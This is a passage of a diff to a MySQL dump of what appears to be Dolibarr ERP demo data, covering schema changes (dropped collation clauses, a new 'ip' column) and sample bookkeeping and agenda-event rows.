00:06:46',1,NULL,'2019-10-04 10:18:07','2023-02-27 03:06:46','','',NULL,NULL,NULL),(12,'2003-04-11','supplier_invoice','SI1601-0001',16,0,'SU1212-0005','101','Capital','Indian SAS - FR70813 - Capital',414.00000000,0.00000000,414.00000000,'D',NULL,NULL,NULL,NULL,12,NULL,'AC','Purchase journal',4,NULL,'2023-02-27 00:06:46',1,NULL,'2019-10-04 10:18:07','2023-02-27 03:06:46','','',NULL,NULL,NULL),(13,'2003-04-11','supplier_invoice','SI1601-0001',16,0,'SU1212-0005','10','Capital','Indian SAS - FR70813 - Sales tax 19.6 %',162.48000000,0.00000000,162.48000000,'D',NULL,NULL,NULL,NULL,12,NULL,'AC','Purchase journal',4,NULL,'2023-02-27 00:06:46',1,NULL,'2019-10-04 10:18:07','2023-02-27 03:06:46','','',NULL,NULL,NULL),(21,'2020-01-10','bank','BankId 49 - Miscellaneous payment 4',49,49,'','50','Valeurs mobilières de placement','Miscellaneous payment - Bank LUXBAC',0.00000000,10.01000000,10.01000000,'C',NULL,NULL,NULL,NULL,12,NULL,'BQ','Bank journal',5,NULL,'2023-02-27 00:06:46',1,NULL,'2020-01-10 05:18:05','2023-02-27 03:06:46','','',NULL,NULL,NULL),(22,'2020-01-10','bank','BankId 49 - Miscellaneous payment 4',49,49,'','105','Ecarts de réévaluation','Miscellaneous payment',10.01000000,0.00000000,10.01000000,'D',NULL,NULL,NULL,NULL,12,NULL,'BQ','Bank journal',5,NULL,'2023-02-27 00:06:46',1,NULL,'2020-01-10 05:18:05','2023-02-27 03:06:46','556','',NULL,NULL,NULL),(23,'2019-11-28','supplier_invoice','SI1911-0005',21,0,'SU1601-0011','401','Fournisseurs','NLTechno - NL-123 - Subledger account',0.00000000,450.00000000,450.00000000,'C',NULL,NULL,NULL,NULL,12,NULL,'AC','Purchase journal',6,NULL,'2023-02-27 00:06:46',1,NULL,'2022-12-29 18:05:19','2023-02-27 03:06:46','401SU16010011','NLTechno',NULL,'2019-11-28 00:00:00',NULL),(24,'2019-11-28','supplier_invoice','SI1911-0005',21,0,'SU1601-0011','601','Achats stockés - Matières premières (et fournitures)','NLTechno - NL-123 - Achats stockés - Matières premières (et fournitures)',450.00000000,0.00000000,450.00000000,'D',NULL,NULL,NULL,NULL,12,NULL,'AC','Purchase journal',6,NULL,'2023-02-27 00:06:46',1,NULL,'2022-12-29 18:05:19','2023-02-27 03:06:46',NULL,NULL,NULL,'2019-11-28 00:00:00',NULL),(50,'2022-12-11','customer_invoice','FA1212-0023',33,0,'CU1212-0007','411','Clients','Indian SAS - FA1212-0023 - Compte auxiliaire',2.72000000,0.00000000,2.72000000,'D',NULL,NULL,NULL,NULL,12,NULL,'VT','Ventes',7,NULL,NULL,1,NULL,'2023-03-02 16:36:44','2023-03-02 19:36:44','7050','Indian SAS',NULL,'2022-12-11 00:00:00',NULL),(51,'2022-12-11','customer_invoice','FA1212-0023',33,0,'CU1212-0007','109','Actionnaires : capital souscrit - non appelé','Indian SAS - FA1212-0023 - Actionnaires : capital souscrit - non appelé',0.00000000,2.48000000,2.48000000,'C',NULL,NULL,NULL,NULL,12,NULL,'VT','Ventes',7,NULL,NULL,1,NULL,'2023-03-02 16:36:44','2023-03-02 19:36:44',NULL,NULL,NULL,'2022-12-11 00:00:00',NULL),(52,'2022-12-11','customer_invoice','FA1212-0023',33,0,'CU1212-0007','109','Actionnaires : capital souscrit - non appelé','Indian SAS - FA1212-0023 - TVA 10 %',0.00000000,0.24000000,0.24000000,'C',NULL,NULL,NULL,NULL,12,NULL,'VT','Ventes',7,NULL,NULL,1,NULL,'2023-03-02 16:36:44','2023-03-02 19:36:44',NULL,NULL,NULL,'2022-12-11 00:00:00',NULL); /*!40000 ALTER TABLE `llx_accounting_bookkeeping` ENABLE KEYS */; UNLOCK TABLES; @@ -132,34 +132,34 @@ CREATE TABLE `llx_accounting_bookkeeping_tmp` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `entity` int(11) NOT NULL DEFAULT 1, `doc_date` date NOT NULL, - `doc_type` varchar(30) COLLATE utf8mb3_unicode_ci NOT NULL, - `doc_ref` varchar(300) COLLATE utf8mb3_unicode_ci NOT NULL, + `doc_type` varchar(30) NOT NULL, + `doc_ref` varchar(300) NOT NULL, `fk_doc` int(11) NOT NULL, `fk_docdet` int(11) NOT NULL, - `thirdparty_code` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `subledger_account` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `subledger_label` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `numero_compte` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `label_compte` varchar(255) COLLATE utf8mb3_unicode_ci NOT NULL, - `label_operation` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `thirdparty_code` varchar(32) DEFAULT NULL, + `subledger_account` varchar(32) DEFAULT NULL, + `subledger_label` varchar(255) DEFAULT NULL, + `numero_compte` varchar(32) DEFAULT NULL, + `label_compte` varchar(255) NOT NULL, + `label_operation` varchar(255) DEFAULT NULL, `debit` double(24,8) NOT NULL, `credit` double(24,8) NOT NULL, `montant` double(24,8) NOT NULL, - `sens` varchar(1) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `sens` varchar(1) DEFAULT NULL, `multicurrency_amount` double(24,8) DEFAULT NULL, - `multicurrency_code` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `lettering_code` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `multicurrency_code` varchar(255) DEFAULT NULL, + `lettering_code` varchar(255) DEFAULT NULL, `date_lettering` datetime DEFAULT NULL, `fk_user_author` int(11) NOT NULL, `fk_user_modif` int(11) DEFAULT NULL, `date_creation` datetime DEFAULT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `code_journal` varchar(32) COLLATE utf8mb3_unicode_ci NOT NULL, - `journal_label` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, + `code_journal` varchar(32) NOT NULL, + `journal_label` varchar(255) DEFAULT NULL, `piece_num` int(11) NOT NULL, `date_validated` datetime DEFAULT NULL, - `extraparams` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `extraparams` varchar(255) DEFAULT NULL, `date_lim_reglement` datetime DEFAULT NULL, `fk_user` int(11) DEFAULT NULL, PRIMARY KEY (`rowid`), @@ -188,7 +188,7 @@ DROP TABLE IF EXISTS `llx_accounting_fiscalyear`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_accounting_fiscalyear` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `label` varchar(128) COLLATE utf8mb3_unicode_ci NOT NULL, + `label` varchar(128) NOT NULL, `date_start` date DEFAULT NULL, `date_end` date DEFAULT NULL, `statut` tinyint(4) NOT NULL DEFAULT 0, @@ -243,8 +243,8 @@ DROP TABLE IF EXISTS `llx_accounting_journal`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_accounting_journal` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `code` varchar(20) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `label` varchar(128) COLLATE utf8mb3_unicode_ci NOT NULL, + `code` varchar(20) DEFAULT NULL, + `label` varchar(128) NOT NULL, `nature` smallint(6) NOT NULL DEFAULT 0, `active` smallint(6) DEFAULT 0, `entity` int(11) DEFAULT 1, @@ -259,7 +259,7 @@ CREATE TABLE `llx_accounting_journal` ( LOCK TABLES `llx_accounting_journal` WRITE; /*!40000 ALTER TABLE `llx_accounting_journal` DISABLE KEYS */; -INSERT INTO `llx_accounting_journal` VALUES (1,'VT','Sale journal',2,1,1),(2,'AC','Purchase journal',3,1,1),(3,'BQ','Bank journal',4,1,1),(4,'OD','Other journal',1,1,1),(5,'AN','Has new journal',9,1,1),(6,'ER','Expense report journal',5,1,1),(7,'INV','Inventory journal',8,1,1); +INSERT INTO `llx_accounting_journal` VALUES (1,'VT','ACCOUNTING_SELL_JOURNAL',2,1,1),(2,'AC','ACCOUNTING_PURCHASE_JOURNAL',3,1,1),(3,'BQ','FinanceJournal',4,1,1),(4,'OD','ACCOUNTING_MISCELLANEOUS_JOURNAL',1,1,1),(5,'AN','ACCOUNTING_HAS_NEW_JOURNAL',9,1,1),(6,'ER','ExpenseReportsJournal',5,1,1),(7,'INV','InventoryJournal',8,1,1); /*!40000 ALTER TABLE `llx_accounting_journal` ENABLE KEYS */; UNLOCK TABLES; @@ -272,8 +272,8 @@ DROP TABLE IF EXISTS `llx_accounting_system`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_accounting_system` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `pcg_version` varchar(32) COLLATE utf8mb3_unicode_ci NOT NULL, - `label` varchar(128) COLLATE utf8mb3_unicode_ci NOT NULL, + `pcg_version` varchar(32) NOT NULL, + `label` varchar(128) NOT NULL, `active` smallint(6) DEFAULT 0, `fk_country` int(11) DEFAULT NULL, PRIMARY KEY (`rowid`), @@ -300,14 +300,14 @@ DROP TABLE IF EXISTS `llx_actioncomm`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_actioncomm` ( `id` int(11) NOT NULL AUTO_INCREMENT, - `ref` varchar(30) COLLATE utf8mb3_unicode_ci NOT NULL, - `ref_ext` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ref` varchar(30) NOT NULL, + `ref_ext` varchar(255) DEFAULT NULL, `entity` int(11) NOT NULL DEFAULT 1, `datep` datetime DEFAULT NULL, `datep2` datetime DEFAULT NULL, `fk_action` int(11) DEFAULT NULL, - `code` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `label` varchar(255) COLLATE utf8mb3_unicode_ci NOT NULL, + `code` varchar(50) DEFAULT NULL, + `label` varchar(255) NOT NULL, `datec` datetime DEFAULT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_user_author` int(11) DEFAULT NULL, @@ -322,31 +322,32 @@ CREATE TABLE `llx_actioncomm` ( `priority` smallint(6) DEFAULT NULL, `fulldayevent` smallint(6) NOT NULL DEFAULT 0, `percent` smallint(6) NOT NULL DEFAULT 0, - `location` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `location` varchar(128) DEFAULT NULL, `durationp` double DEFAULT NULL, `durationa` double DEFAULT NULL, - `note` mediumtext COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `note` mediumtext DEFAULT NULL, `fk_element` int(11) DEFAULT NULL, - `elementtype` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `email_msgid` varchar(256) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `email_subject` varchar(256) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `email_from` varchar(256) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `email_sender` varchar(256) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `email_to` varchar(256) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `email_tocc` varchar(256) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `email_tobcc` varchar(256) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `errors_to` varchar(256) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `recurid` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `recurrule` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `elementtype` varchar(255) DEFAULT NULL, + `email_msgid` varchar(256) DEFAULT NULL, + `email_subject` varchar(256) DEFAULT NULL, + `email_from` varchar(256) DEFAULT NULL, + `email_sender` varchar(256) DEFAULT NULL, + `email_to` varchar(256) DEFAULT NULL, + `email_tocc` varchar(256) DEFAULT NULL, + `email_tobcc` varchar(256) DEFAULT NULL, + `errors_to` varchar(256) DEFAULT NULL, + `recurid` varchar(128) DEFAULT NULL, + `recurrule` varchar(128) DEFAULT NULL, `recurdateend` datetime DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `extraparams` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, + `extraparams` varchar(255) DEFAULT NULL, `calling_duration` int(11) DEFAULT NULL, - `visibility` varchar(12) COLLATE utf8mb3_unicode_ci DEFAULT 'default', - `reply_to` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `visibility` varchar(12) DEFAULT 'default', + `reply_to` varchar(255) DEFAULT NULL, `num_vote` int(11) DEFAULT NULL, `event_paid` smallint(6) NOT NULL DEFAULT 0, `status` smallint(6) NOT NULL DEFAULT 0, + `ip` varchar(250) DEFAULT NULL, PRIMARY KEY (`id`), UNIQUE KEY `uk_actioncomm_ref` (`ref`,`entity`), KEY `idx_actioncomm_fk_soc` (`fk_soc`), @@ -358,8 +359,9 @@ CREATE TABLE `llx_actioncomm` ( KEY `idx_actioncomm_datep` (`datep`), KEY `idx_actioncomm_datep2` (`datep2`), KEY `idx_actioncomm_recurid` (`recurid`), - KEY `idx_actioncomm_ref_ext` (`ref_ext`) -) ENGINE=InnoDB AUTO_INCREMENT=608 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; + KEY `idx_actioncomm_ref_ext` (`ref_ext`), + KEY `idx_actioncomm_percent` (`percent`) +) ENGINE=InnoDB AUTO_INCREMENT=796 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -368,7 +370,7 @@ CREATE TABLE `llx_actioncomm` ( LOCK TABLES `llx_actioncomm` WRITE; /*!40000 ALTER TABLE `llx_actioncomm` DISABLE KEYS */; -INSERT INTO `llx_actioncomm` VALUES (1,'1',NULL,1,'2012-07-08 14:21:44','2012-07-08 14:21:44',50,NULL,'Company AAA and Co added into Dolibarr','2012-07-08 14:21:44','2021-04-15 10:22:55',1,NULL,NULL,1,NULL,0,1,NULL,1,0,0,100,'',NULL,NULL,'Company AAA and Co added into Dolibarr\nAuthor: admin',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(2,'2',NULL,1,'2012-07-08 14:23:48','2012-07-08 14:23:48',50,NULL,'Company Belin SARL added into Dolibarr','2012-07-08 14:23:48','2021-04-15 10:22:55',1,NULL,NULL,2,NULL,0,1,NULL,1,0,0,100,'',NULL,NULL,'Company Belin SARL added into Dolibarr\nAuthor: admin',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(3,'3',NULL,1,'2012-07-08 22:42:12','2012-07-08 22:42:12',50,NULL,'Company Spanish Comp added into Dolibarr','2012-07-08 22:42:12','2021-04-15 10:22:55',1,NULL,NULL,3,NULL,0,1,NULL,1,0,0,100,'',NULL,NULL,'Company Spanish Comp added into Dolibarr\nAuthor: admin',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(4,'4',NULL,1,'2012-07-08 22:48:18','2012-07-08 22:48:18',50,NULL,'Company Prospector Vaalen added into Dolibarr','2012-07-08 22:48:18','2021-04-15 10:22:55',1,NULL,NULL,4,NULL,0,1,NULL,1,0,0,100,'',NULL,NULL,'Company Prospector Vaalen added into Dolibarr\nAuthor: admin',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(5,'5',NULL,1,'2012-07-08 23:22:57','2012-07-08 23:22:57',50,NULL,'Company NoCountry Co added into Dolibarr','2012-07-08 23:22:57','2021-04-15 10:22:55',1,NULL,NULL,5,NULL,0,1,NULL,1,0,0,100,'',NULL,NULL,'Company NoCountry Co added into Dolibarr\nAuthor: admin',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(6,'6',NULL,1,'2012-07-09 00:15:09','2012-07-09 00:15:09',50,NULL,'Company Swiss customer added into Dolibarr','2012-07-09 00:15:09','2021-04-15 10:22:55',1,NULL,NULL,6,NULL,0,1,NULL,1,0,0,100,'',NULL,NULL,'Company Swiss customer added into Dolibarr\nAuthor: admin',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(7,'7',NULL,1,'2012-07-09 01:24:26','2012-07-09 01:24:26',50,NULL,'Company Generic customer added into Dolibarr','2012-07-09 01:24:26','2021-04-15 10:22:55',1,NULL,NULL,7,NULL,0,1,NULL,1,0,0,100,'',NULL,NULL,'Company Generic customer added into Dolibarr\nAuthor: admin',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(8,'8',NULL,1,'2012-07-10 14:54:27','2012-07-10 14:54:27',50,NULL,'Société Client salon ajoutée dans Dolibarr','2012-07-10 14:54:27','2021-04-15 10:22:55',1,NULL,NULL,8,NULL,0,1,NULL,1,0,0,100,'',NULL,NULL,'Société Client salon ajoutée dans Dolibarr\nAuteur: admin',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(9,'9',NULL,1,'2012-07-10 14:54:44','2012-07-10 14:54:44',50,NULL,'Société Client salon invidivdu ajoutée dans Doliba','2012-07-10 14:54:44','2021-04-15 10:22:55',1,NULL,NULL,9,NULL,0,1,NULL,1,0,0,100,'',NULL,NULL,'Société Client salon invidivdu ajoutée dans Dolibarr\nAuteur: admin',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(10,'10',NULL,1,'2012-07-10 14:56:10','2012-07-10 14:56:10',50,NULL,'Facture FA1007-0001 validée dans Dolibarr','2012-07-10 14:56:10','2021-04-15 10:22:55',1,NULL,NULL,9,NULL,0,1,NULL,1,0,0,100,'',NULL,NULL,'Facture FA1007-0001 validée dans Dolibarr\nAuteur: admin',1,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(11,'11',NULL,1,'2012-07-10 14:58:53','2012-07-10 14:58:53',50,NULL,'Facture FA1007-0001 validée dans Dolibarr','2012-07-10 14:58:53','2021-04-15 10:22:55',1,NULL,NULL,9,NULL,0,1,NULL,1,0,0,100,'',NULL,NULL,'Facture FA1007-0001 validée dans Dolibarr\nAuteur: admin',1,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(12,'12',NULL,1,'2012-07-10 15:00:55','2012-07-10 15:00:55',50,NULL,'Facture FA1007-0001 passée à payée dans Dolibarr','2012-07-10 15:00:55','2021-04-15 10:22:55',1,NULL,NULL,9,NULL,0,1,NULL,1,0,0,100,'',NULL,NULL,'Facture FA1007-0001 passée à payée dans Dolibarr\nAuteur: admin',1,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(13,'13',NULL,1,'2012-07-10 15:13:08','2012-07-10 15:13:08',50,NULL,'Société Smith Vick ajoutée dans Dolibarr','2012-07-10 15:13:08','2021-04-15 10:22:55',1,NULL,NULL,10,NULL,0,1,NULL,1,0,0,100,'',NULL,NULL,'Société Smith Vick ajoutée dans Dolibarr\nAuteur: admin',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(14,'14',NULL,1,'2012-07-10 15:21:00','2012-07-10 16:21:00',5,NULL,'RDV avec mon chef','2012-07-10 15:21:48','2021-04-15 10:22:55',1,NULL,NULL,NULL,NULL,0,1,NULL,NULL,0,0,0,'',3600,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(15,'15',NULL,1,'2012-07-10 18:18:16','2012-07-10 18:18:16',50,NULL,'Contrat CONTRAT1 validé dans Dolibarr','2012-07-10 18:18:16','2021-04-15 10:22:55',1,NULL,NULL,2,NULL,0,1,NULL,1,0,0,100,'',NULL,NULL,'Contrat CONTRAT1 validé dans Dolibarr\nAuteur: admin',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(16,'16',NULL,1,'2012-07-10 18:35:57','2012-07-10 18:35:57',50,NULL,'Société Mon client ajoutée dans Dolibarr','2012-07-10 18:35:57','2021-04-15 10:22:55',1,NULL,NULL,11,NULL,0,1,NULL,1,0,0,100,'',NULL,NULL,'Société Mon client ajoutée dans Dolibarr\nAuteur: admin',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(17,'17',NULL,1,'2012-07-11 16:18:08','2012-07-11 16:18:08',50,NULL,'Société Dupont Alain ajoutée dans Dolibarr','2012-07-11 16:18:08','2021-04-15 10:22:55',1,NULL,NULL,12,NULL,0,1,NULL,1,0,0,100,'',NULL,NULL,'Société Dupont Alain ajoutée dans Dolibarr\nAuteur: admin',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(18,'18',NULL,1,'2012-07-11 17:11:00','2012-07-11 17:17:00',5,NULL,'Rendez-vous','2012-07-11 17:11:22','2021-04-15 10:22:55',1,NULL,NULL,NULL,NULL,0,1,NULL,NULL,0,0,0,'gfgdfgdf',360,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(19,'19',NULL,1,'2012-07-11 17:13:20','2012-07-11 17:13:20',50,NULL,'Société Vendeur de chips ajoutée dans Dolibarr','2012-07-11 17:13:20','2021-04-15 10:22:55',1,NULL,NULL,13,NULL,0,1,NULL,1,0,0,100,'',NULL,NULL,'Société Vendeur de chips ajoutée dans Dolibarr\nAuteur: admin',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(20,'20',NULL,1,'2012-07-11 17:15:42','2012-07-11 17:15:42',50,NULL,'Commande CF1007-0001 validée','2012-07-11 17:15:42','2021-04-15 10:22:55',1,NULL,NULL,13,NULL,0,1,NULL,1,0,0,100,'',NULL,NULL,'Commande CF1007-0001 validée\nAuteur: admin',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(21,'21',NULL,1,'2012-07-11 18:47:33','2012-07-11 18:47:33',50,NULL,'Commande CF1007-0002 validée','2012-07-11 18:47:33','2021-04-15 10:22:55',1,NULL,NULL,1,NULL,0,1,NULL,1,0,0,100,'',NULL,NULL,'Commande CF1007-0002 validée\nAuteur: admin',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(22,'22',NULL,1,'2012-07-18 11:36:18','2012-07-18 11:36:18',50,NULL,'Proposition PR1007-0003 validée','2012-07-18 11:36:18','2021-04-15 10:22:55',1,NULL,NULL,4,NULL,0,1,NULL,1,0,0,100,'',NULL,NULL,'Proposition PR1007-0003 validée\nAuteur: admin',3,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(23,'23',NULL,1,'2013-07-18 20:49:58','2013-07-18 20:49:58',50,NULL,'Invoice FA1007-0002 validated in Dolibarr','2013-07-18 20:49:58','2021-04-15 10:22:55',1,NULL,NULL,2,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Invoice FA1007-0002 validated in Dolibarr\nAuthor: admin',2,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(24,'24',NULL,1,'2013-07-28 01:37:00',NULL,1,NULL,'Phone call','2013-07-28 01:37:48','2021-04-15 10:22:55',1,NULL,NULL,NULL,2,0,1,NULL,NULL,0,0,-1,'',NULL,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(25,'25',NULL,1,'2013-08-01 02:31:24','2013-08-01 02:31:24',50,NULL,'Company mmm added into Dolibarr','2013-08-01 02:31:24','2021-04-15 10:22:55',1,NULL,NULL,15,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Company mmm added into Dolibarr\nAuthor: admin',15,'societe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(26,'26',NULL,1,'2013-08-01 02:31:43','2013-08-01 02:31:43',50,NULL,'Company ppp added into Dolibarr','2013-08-01 02:31:43','2021-04-15 10:22:55',1,NULL,NULL,16,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Company ppp added into Dolibarr\nAuthor: admin',16,'societe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(27,'27',NULL,1,'2013-08-01 02:41:26','2013-08-01 02:41:26',50,NULL,'Company aaa added into Dolibarr','2013-08-01 02:41:26','2021-04-15 10:22:55',1,NULL,NULL,17,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Company aaa added into Dolibarr\nAuthor: admin',17,'societe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(28,'28',NULL,1,'2013-08-01 03:34:11','2013-08-01 03:34:11',50,NULL,'Invoice FA1108-0003 validated in Dolibarr','2013-08-01 03:34:11','2021-04-15 10:22:55',1,NULL,NULL,7,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Invoice FA1108-0003 validated in Dolibarr\nAuthor: admin',5,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(29,'29',NULL,1,'2013-08-01 03:34:11','2013-08-01 03:34:11',50,NULL,'Invoice FA1108-0003 validated in Dolibarr','2013-08-01 03:34:11','2021-04-15 10:22:55',1,NULL,NULL,7,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Invoice FA1108-0003 changed to paid in Dolibarr\nAuthor: admin',5,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(30,'30',NULL,1,'2013-08-06 20:33:54','2013-08-06 20:33:54',50,NULL,'Invoice FA1108-0004 validated in Dolibarr','2013-08-06 20:33:54','2021-04-15 10:22:55',1,NULL,NULL,7,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Invoice FA1108-0004 validated in Dolibarr\nAuthor: admin',6,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(31,'31',NULL,1,'2013-08-06 20:33:54','2013-08-06 20:33:54',50,NULL,'Invoice FA1108-0004 validated in Dolibarr','2013-08-06 20:33:54','2021-04-15 10:22:55',1,NULL,NULL,7,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Invoice FA1108-0004 changed to paid in Dolibarr\nAuthor: admin',6,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(38,'38',NULL,1,'2013-08-08 02:41:55','2013-08-08 02:41:55',50,NULL,'Invoice FA1108-0005 validated in Dolibarr','2013-08-08 02:41:55','2021-04-15 10:22:55',1,NULL,NULL,2,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Invoice FA1108-0005 validated in Dolibarr\nAuthor: admin',8,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(40,'40',NULL,1,'2013-08-08 02:53:40','2013-08-08 02:53:40',50,NULL,'Invoice FA1108-0005 changed to paid in Dolibarr','2013-08-08 02:53:40','2021-04-15 10:22:55',1,NULL,NULL,2,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Invoice FA1108-0005 changed to paid in Dolibarr\nAuthor: admin',8,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(41,'41',NULL,1,'2013-08-08 02:54:05','2013-08-08 02:54:05',50,NULL,'Invoice FA1007-0002 changed to paid in 